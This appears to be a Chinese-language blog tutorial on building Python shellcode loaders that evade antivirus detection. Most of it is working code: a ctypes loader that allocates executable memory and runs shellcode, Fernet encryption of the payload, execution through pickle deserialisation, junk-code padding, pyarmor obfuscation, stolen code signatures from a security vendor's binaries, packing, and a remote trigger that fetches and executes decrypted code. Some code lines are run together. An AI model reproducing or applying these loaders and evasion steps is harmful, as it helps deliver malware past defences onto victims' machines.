python免杀初探

loader基础知识

loader

import ctypes
#（kali生成payload存放位置）
shellcode = bytearray(b"shellcode")
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

参数介绍

# virtualalloc： 申请虚拟内存
LPVOID VirtualAlloc(
LPVOID lpAddress,        // 指定要分配的区域的期望起始地址。一般为null
SIZE_T dwSize,           // 要分配的堆栈大小
DWORD flAllocationType,  // 类型的分配
DWORD flProtect          // 内存的执行权限
);
// 属性解释
flAllocationType： 
MEM_COMMIT： 在内存或磁盘上的分页文件中为指定的内存页区域分配物理存储。该函数将内存初始化为零。(提交到物理内存)
MEM_REVERSE: 保留一定范围的进程虚拟地址空间，而不在内存或磁盘上的分页文件中分配任何实际物理存储。（保留虚拟内存）flProtect：
PAGE_EXECUTE_READWRITE： 内存页分配为可读可写可执行
PAGE_READWRITE： 内存页分配为可读可写#RtlMoveMemory: 将一个缓冲区的内容复制到另一个缓冲区。
VOID RtlMoveMemory(
IN VOID UNALIGNED  *Destination,   // 要复制到的目标
IN CONST VOID UNALIGNED  *Source,  // 要转移的内存块
IN SIZE_T  Length                  // 内存块大小
);# CreateThread: 创建线程
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // 安全属性，一般设置为0或者null 
SIZE_T dwStackSize,                       // 初始栈大小， 设置为0
LPTHREAD_START_ROUTINE lpStartAddress,    // 线程函数地址
LPVOID lpParameter,                       // 线程参数，没传参即为0
DWORD dwCreationFlags,                    // 创建线程标志，对线程做控制的
LPDWORD lpThreadId                        // 线程id
);# WaitForSingleObject: 等待线程执行完毕
DWORD WaitForSingleObject(
HANDLE hHandle,        // 句柄
DWORD dwMilliseconds   // 等待标志， 常用INFINITE， 即为无限等待线程执行完毕
);

生成exe

pyinstaller -F -w a.py

果然烂大街的代码生成的exe连静态都过不了

evilhiding项目地址

https://github.com/coleak2021/evilhiding.git

不能免杀了可以提Issues，stars是持续更新的动力，嘻嘻嘻。

免杀方式

修改加载器

import pickle,base64,requests,ctypes
from cryptography.fernet import Ferneturl=''
def doit(sectr):KEY={key2}fernet = Fernet(KEY)destr = fernet.decrypt(sectr).decode()class A(object):def __reduce__(self):return (exec, (destr,))ret = pickle.dumps(A())ret_base64 = base64.b64encode(ret)ret_decode = base64.b64decode(ret_base64)pickle.loads(ret_decode)

import ctypes
from cryptography.fernet import Fernet
KEY={key}
fernet=Fernet(KEY)
shellcode=fernet.decrypt({enstr})shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),buf,ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_uint64(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

花指令

t1 ="""
import randomdef partition(test_arr, low, high):i = (low - 1)  pivot = test_arr[high]for j in range(low, high):if test_arr[j] <= pivot:i = i + 1test_arr[i], test_arr[j] = test_arr[j], test_arr[i]test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]return i + 1def quick_sort(test_arr, low, high):if low < high:pi = partition(test_arr, low, high)quick_sort(test_arr, low, pi - 1)quick_sort(test_arr, pi + 1, high)test_arr= []
for i in range(59999):test_arr.append(random.random())
n= len(test_arr)
quick_sort(test_arr,0, n - 1)"""
t2 ="""
import rere.search('www','www.runoob.com').span()
re.search('com','www.runoob.com').span()line= "Cats are smarter than dogs ok in shakdhaksdas";searchObj= re.search(r'(.*) are (.*?) .*', line, re.M | re.I)def double(matched):value = int(matched.group('value'))return str(value * 2)s= 'A23G4HFD567'
re.sub('(?P<value>\d+)',double, s)"""t3 ="""
import base64st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()
res= base64.b64encode(st)
aaa= res.decode()
res= base64.b64decode(res)
bbb= res.decode()"""
exec(t1)
exec(t2)
exec(t3)

混淆loader源码

pyarmor gen a.py

hunxiao函数

def hunxiao():openfile = 'b.py'text = open(openfile, encoding='utf-8').read()wd_df = re.findall("def (.*?)\\(", text)wd_df = list(set(wd_df))for i in wd_df:if i[0:2] == "__":wd_df.remove(i)if i == 'super':wd_df.remove(i)idlist = []for i in wd_df:idlist.append('O' + str(hash(i))[-7:])cs = len(wd_df)if cs == len(set(idlist)):while cs > 0:cs -= 1text = text.replace(wd_df[cs] + '(', idlist[cs] + '(')text = text.replace('target=' + wd_df[cs], 'target=' + idlist[cs])text = text.replace('global ' + wd_df[cs], 'global ' + idlist[cs])text = text.replace(', ' + wd_df[cs], ', ' + idlist[cs])print('successful function:', wd_df, '\n', idlist)else:print('hash repeat')file_save = open('b.py', 'w', encoding='utf-8')file_save.write(text)file_save.close()

修改签名

python sigthief.py -i D:\Huorong\Sysdiag\bin\HipsMain.exe -t HipsMain1.exe -o HipsMain.exe

加壳

• vmpro

远程条件触发

def start():try:r=requests.get(url)a = r.status_codeexcept:a = 404passif a == 200:doit(r.text)else:

修改ico的md5

iconame=f'{int (time.time() *1000)}.ico'
with open('coleak.ico',"br") as f:cont=f.read()
with open(f'{iconame}',"bw") as f:cont+=iconame.encode()f.write(cont)os.remove(iconame)

加密

key = Fernet.generate_key()
fernet = Fernet(key)
enstr = fernet.encrypt(shellcode)key2 = Fernet.generate_key()
fernet2 = Fernet(key2)with open('a.txt', 'bw') as f:f.write(fernet2.encrypt(a.encode()))